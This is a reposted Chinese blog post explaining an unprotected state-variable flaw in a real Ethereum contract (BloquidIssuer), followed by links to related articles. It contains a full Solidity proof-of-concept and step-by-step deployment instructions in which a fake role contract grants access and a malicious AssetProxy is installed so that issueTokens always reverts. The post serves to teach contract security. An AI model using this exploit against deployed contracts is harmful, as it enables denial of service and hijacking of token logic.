智能合约漏洞:未被权限保护的状态变量

这篇具有很好参考价值的文章主要介绍了智能合约漏洞:未被权限保护的状态变量。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

智能合约新手

前几天浏览Solidity源代码发现一个有趣的现象,一个contract可以在状态变量中声明未被实现的其他contract,部署后通过setter改变状态变量的address,从而将代码逻辑添加到主contract中。

但是,如果状态变量的修改权限没有被保护,将导致该合约执行攻击者撰写的恶意代码,影响合约的正确执行

视频讲解已发布在B站

  • 以太坊地址: BloquidIssuer | Address 0x333f37329c6d2346001501f235d33bf68ec1cf5e | Etherscan
  • Remix:Remix - Ethereum IDE

该地址的主合约是BloquidIssuer,连续继承了Ambi2EnabledFull和Ambi2Enabled

合约文件还有3个抽象contract,即没有实现函数逻辑的接口合约,Ambi2、EToken2Interface、AssetProxy

主合约BloquidIssuer有一个AsserProxy类型的状态变量,能够被setupAssetProxy函数赋值修改,而该函数的函数修饰器onlyRole需要AmbitiousEnabled合约的ambi2状态变量满足2个条件

  1. 地址不为空,即部署后的合约
  2. hashRole的返回值为true

有趣的事情出现了,Ambi2Enabled合约中的ambi2状态变量能够通过setupAmbi2函数任意修改,这一连串的调用结果就是:BloquidIssuer的AsserProxy能够被外界任意赋值!

因此,BloquidIssuer中的issueTokens函数将调用攻击者编写的AssetProxy合约实现的逻辑,而坏心眼的攻击者肯定会搞小动作,比如写一个永远不能满足的require

我写了一个小demo,能够触发上述漏洞

pragma solidity ^0.4.11;

contract Ambi2 {
    function hasRole(address, bytes32, address) constant returns (bool);

    function claimFor(address, address) returns (bool);

    function isOwner(address, address) constant returns (bool);
}

contract A is Ambi2{
    function hasRole(address, bytes32, address) constant returns (bool){
        return true;
    }

    function claimFor(address, address) returns (bool){
        return true;
    }

    function isOwner(address, address) constant returns (bool){
        return true;
    }
}

contract Ambi2Enabled {
    Ambi2 ambi2;

    modifier onlyRole(bytes32 _role) {
        if (address(ambi2) != 0x0 && ambi2.hasRole(this, _role, msg.sender)) {
            _;
        }
    }

    // Perform only after claiming the node, or claim in the same tx.
    function setupAmbi2(Ambi2 _ambi2) returns (bool) {
        if (address(ambi2) != 0x0) {
            return false;
        }

        ambi2 = _ambi2;
        return true;
    }
}

contract Ambi2EnabledFull is Ambi2Enabled {
    // Setup and claim atomically.
    function setupAmbi2(Ambi2 _ambi2) returns (bool) {
        if (address(ambi2) != 0x0) {
            return false;
        }
        if (!_ambi2.claimFor(this, msg.sender) && !_ambi2.isOwner(this, msg.sender)) {
            return false;
        }

        ambi2 = _ambi2;
        return true;
    }
}

contract EToken2Interface {
    function reissueAsset(bytes32 _symbol, uint _value) returns (bool);

    function changeOwnership(bytes32 _symbol, address _newOwner) returns (bool);
}

contract C is EToken2Interface{
    function reissueAsset(bytes32 _symbol, uint _value) returns (bool){
            return true;
        }

    function changeOwnership(bytes32 _symbol, address _newOwner) returns (bool){
        return true;
    }
}

contract AssetProxy {
    EToken2Interface public etoken2;
    bytes32 public etoken2Symbol;

    function transferWithReference(address _to, uint _value, string _reference) returns (bool);
}

contract B is AssetProxy{

    function set(address a){
        etoken2=EToken2Interface(a);
    }

    function transferWithReference(address _to, uint _value, string _reference) returns (bool){
        require(1==2,"haha");
        return true;
    }

}

contract BloquidIssuer is Ambi2EnabledFull {

    // function transferWithReference(address _to, uint _value, string _reference) returns (bool){
    //     return true;
    // }

    AssetProxy public assetProxy;

    function setupAssetProxy(AssetProxy _assetProxy) onlyRole("__root__") returns (bool) {
        if ((address(assetProxy) != 0x0) || (address(_assetProxy) == 0x0)) {
            return false;
        }
        assetProxy = _assetProxy;
        return true;
    }

    function issueTokens(uint _value, string _regNumber) onlyRole("issuer") returns (bool) {
        bytes32 symbol = assetProxy.etoken2Symbol();
        EToken2Interface etoken2 = assetProxy.etoken2();
        if (!etoken2.reissueAsset(symbol, _value)) {
            return false;
        }
        if (!assetProxy.transferWithReference(msg.sender, _value, _regNumber)) {
            throw;
        }
        return true;
    }

    function changeAssetOwner(address _newOwner) onlyRole("__root__") returns (bool) {
        if (_newOwner == 0x0) {
            return false;
        }
        bytes32 symbol = assetProxy.etoken2Symbol();
        EToken2Interface etoken2 = assetProxy.etoken2();
        if (!etoken2.changeOwnership(symbol, _newOwner)) {
            return false;
        }
        return true;
    }

}

按照下述步骤部署:

  1. 部署BloquidIssuer
  2. 部署A,
  3. 执行BloquidIssuer.setupAmbi2,参数为A的地址。返回值为true
  4. 部署B
  5. 部署C
  6. 执行B.set,参数为C的值
  7. 执行BloquidIssuer.setupAssetProxy,参数为B的地址。返回值为true
  8. 执行BloquidIssuer.issueTokens,参数为(22, 22),随意,啥都行

你将会看到message为"haha"文章来源地址https://www.toymoban.com/news/detail-405536.html

到了这里,关于智能合约漏洞:未被权限保护的状态变量的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • eosio.system智能合约介绍(一)账户和权限

    帐户标识EOSIO区块链中的参与者,要使用EOSIO区块链,首先需要创建一个帐户。然后可以将智能合约部署到该帐户,并使用其他帐户权限来授权智能合约交易。本教程详细介绍了eosio.system智能合约中的账户和权限模块,适用于EOS智能合约的初级开发人员,熟悉如何进行账户的创

    2024年02月09日
    浏览(34)
  • 智能合约安全漏洞与解决方案

    使用OpenZeppelin安全库,防止了数字溢出漏洞攻击,报出了SafeMath错误: 不安全写法:lockTime[msg.sender] += _secondsToIncrease; 安全写法:    lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease); 整数溢出真实案例: 2018年4月22日,黑客利用以太坊ERC-20智能合约中数据溢出的漏洞攻击蔡

    2024年02月03日
    浏览(50)
  • 智能合约安全,著名的区块链漏洞:双花攻击

    区块链技术通过提供去中心化和透明的系统彻底改变了各个行业。 但是,与任何技术一样,它也不能免受漏洞的影响。一个值得注意的漏洞是双花攻击。 在本文中,我们将深入研究双花攻击的复杂性,探讨其工作原理、开发方法、预防措施及其对区块链生态系统的影响。 区

    2024年02月04日
    浏览(51)
  • ERC20和BSC链调用智能合约转移拥有者权限

    自从回答了 bsc合约拥有者权限怎么打入0x000000000000000000地址 这个问题后, 好多人私信我要教程, 在这写一下 实现 先需要满足两个条件 你是合约的拥有者, 你的账户有足够的矿工费调用合约 ERC20链和BSC链都是一样的, 包括调用其他合约的方法(看不懂代码的别自己调用…浪费矿工

    2024年02月11日
    浏览(35)
  • 【论文阅读】 智能合约安全漏洞检测技术研究综述

    2016 年 6 月,黑客利用 DAO(decentralized autonomous organization)合约的 可重入漏洞 , 窃取了价值约 6000 万美元的以太币(即以太坊数字货币); 2017 年 7 月, 由于 Parity 多签名钱包合约的 Delegatecall 漏洞 (parity multi-sig wallet delegatecall), 价值近 3 亿美元的以太币被冻结; 2018 年 4 月, 恶意攻击者

    2024年03月14日
    浏览(58)
  • 智能合约安全分析,Vyper 重入锁漏洞全路径分析

    7 月 30 日 21:10 至 7 月 31 日 06:00 链上发生大规模攻击事件,导致多个 Curve 池的资金损失。漏洞的根源都是由于特定版本的 Vyper 中出现的重入锁故障。 通过对链上交易数据初步分析,我们对其攻击的交易进行整理归纳,并对攻击流程进一步的分析,由于攻击涉及多个交易池。

    2024年02月09日
    浏览(45)
  • 欢迎来到Web3.0的世界:Solidity智能合约安全漏洞分析

    智能合约是运行在区块链网络中的一段程序,经由多方机构自动执行预先设定的逻辑,程序执行后,网络上的最终状态将不可改变。智能合约本质上是传统合约的数字版本,由去中心化的计算机网络执行,而不是由政府或银行等中央集权机构执行。智能合约程序可以用Solidi

    2024年02月03日
    浏览(44)
  • 史上最全的智能合约--扣税,分红,加池子,回流,黑白名单,防机器人,增发,丢权限之分红,加池子

    前面一章分享了智能合约扣税的原理,以及用什么方法实现扣税的,下面这篇文章,分享一下自动分红以为加池子的方法和注意事项。 废话不多说,先上代码。 分红这块只是用了简单的数据技巧,比较容易理解,不像网上很多土狗合约,用了很多高数的方法,相信很多同学

    2024年02月12日
    浏览(60)
  • 区块链技术与应用 【全国职业院校技能大赛国赛题目解析】第一套智能合约安全漏洞测试(0基础版)

    第一套题的智能合约安全漏洞测试题目 漏洞合约代码 总结: EtherStore合约 是一个简单的储蓄合约,用户可以存入和提取以太币。 Attack合约 是针对 EtherStore 合约设计的,它包含了一个构造函数来引用目标 EtherStore 合约 ,并提供了一个 attack 函数 ,试图通过先存入再立即提取

    2024年04月11日
    浏览(51)
  • 移动应用安全合规动态:网信办发布2大重磅文件!《儿童智能手表个人信息和权益保护指南》发布;iOS出现0 day漏洞(第2期)

    一、监管部门动向: 网信办发布《网络安全事件报告管理办法(征求意见稿)》、《粤港澳大湾区(内地、香港)个人信息跨境流动标准合同实施指引》;《 儿童智能手表个人信息和权益保护指南》爱加密深度参编! 二、安全新闻: 苹果\\\'Lockdown Mode\\\'的破解之法被发现;中国

    2024年02月03日
    浏览(112)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包